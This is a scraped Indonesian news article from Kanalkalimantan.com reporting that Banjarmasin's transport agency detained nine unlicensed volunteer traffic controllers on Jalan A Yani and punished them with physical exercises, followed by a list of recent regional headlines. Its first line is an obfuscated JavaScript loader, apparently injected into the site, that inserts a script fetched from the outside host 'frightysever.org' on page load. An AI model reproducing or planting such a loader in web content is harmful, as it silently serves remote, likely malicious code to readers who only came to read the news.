(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Dianggap Meresahkan, Dishub Kota Banjarmasin Razia Supeltas Liar


KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perhubungan (Dishub) Kota Banjarmasin gencar melakukan razia sukarelawan pengatur lalu lintas (Supeltas) di sepanjang ruas Jalan A Yani. Pasalnya, keberadaan Supeltas ini kerap menjadi keluhan pengguna jalan.

Akhmad Ihsan, warga Kabupaten Banjar mengaku perjalanannya cukup terganggu dengan adanya Supeltas liar itu.

“Para Supeltas liar itu sangat membahayakan bagi pengguna jalan. Apalagi kalau malam hari, mereka tidak dilengkapi peralatan khusus itu bisa saja tertabrak pengendara,” ujar Ihsan, kepada Kanalkalimantan.com.

“Mereka (Supeltas liar) juga tidak mempunyai keahlian khusus, asal melihat ada sedikit ruang, langsung diseberangkan. Tidak menghitung atau melihat pengendara yang lain,” tambahnya.

Hal tersebut dibenarkan oleh Pelaksana Tugas (Plt) Kepala Dishub Kota Banjarmasin, Endri. Ia mengatakan, sudah banyak menerima aduan masyarakat terkait supeltas liar di ruas jalan protokol A Yani, Banjarmasin.

“Yang paling sering digunakan supeltas liar ini adalah kawasan Jalan A Yani mulai Km 4 sampai 6. Terutama di U-Turn Km 5 yang dekat dengan Dharma Praja,” tutur Endri

Endri mengungkapkan, beberapa hari lalu petugas Dishub Kota Banjarmasin telah berhasil mengamankan 9 supeltas liar dan dijatuhi sanksi fisik berupa push-up, squat jump, guling-guling, jalan jongkok hingga merayap di halaman Balai Kota.

Tidak hanya itu, mereka juga juga disuruh menandatangani surat pernyataan untuk tidak mengulangi perbuatannya sebagai Supeltas liar di U-Turn ruas jalan A Yani.

Endri menjelaskan, bentuk ketegasan itu sendiri merupakan salah satu upaya yang dijalankan Dishub untuk menjadikan kawasan percontohan tertib berlalu lintas di Jalan A Yani mulai Km 2 hingga 6.

“Yang namanya tertib lalu lintas. Jadi apapun yang sifatnya liar atau tak berizin semuanya tidak boleh ada. Apalagi kalau supeltas liar itu tidak punya peralatan pendukung dan keahlian khusus seperti layaknya petugas resmi,” katanya.

Selain menjalankan patroli rutin, untuk memastikan rencana itu bisa berjalan lancar tidak menutup kemungkinan Dishub menugaskan beberapa petugas untuk berjaga di lokasi yang rawan disalahgunakan Pak Ogah tersebut.

“Kalau memang masih ada supeltas liar akan langsung kita amankan dan diberi pembinaan,” tegasnya.

Tidak hanya supeltas, kedepannya pihaknya juga akan menertibkan parkir-parkir yang berada di atas trotoar.

“Jadi kedepannya di sepanjang Jalan A Yani akan tertib secara keseluruhan, baik tertib lalu-lintas, parkir maupun pengaturan lalu lintasnya,” pungkas Endri. (Kanalkalimantan/Tius)

 

Reporter : Tius
Editor : Cell

 

 


Al Ghifari

Recent Posts

Wabup Dodo Cek Harga Bahan Pokok di Pasar Besar Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo turun langsung ke pasar besar Kuala Kapuas… Read More

5 jam ago

Enam Pj Kades di Kecamatan Mantangai Dilantik

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More

6 jam ago

Matangkan Layanan MPP, Pemkab Kapuas Gelar Forum Konsultasi Publik

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More

6 jam ago

Bupati Kapuas Melantik 33 Pj Kades dan Enam Anggota BPD

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 orang Penjabat (Pj) Kepala… Read More

7 jam ago

Rencana Aksi Bersama Pengendalian Banjir Kawasan Banua Enam

Gubernur Kalsel: Percuma Rencana Kalau Tidak Dilakukan Read More

7 jam ago

Pemkab Banjar Raih Penghargaan dari MenPANRB

KANALKALIMANTAN.COM, JAKARTA – Keberhasilan Pemerintah Kabupaten Banjar dalam upaya mewujudkan tata kelola pemerintahan yang bersih… Read More

7 jam ago

This website uses cookies.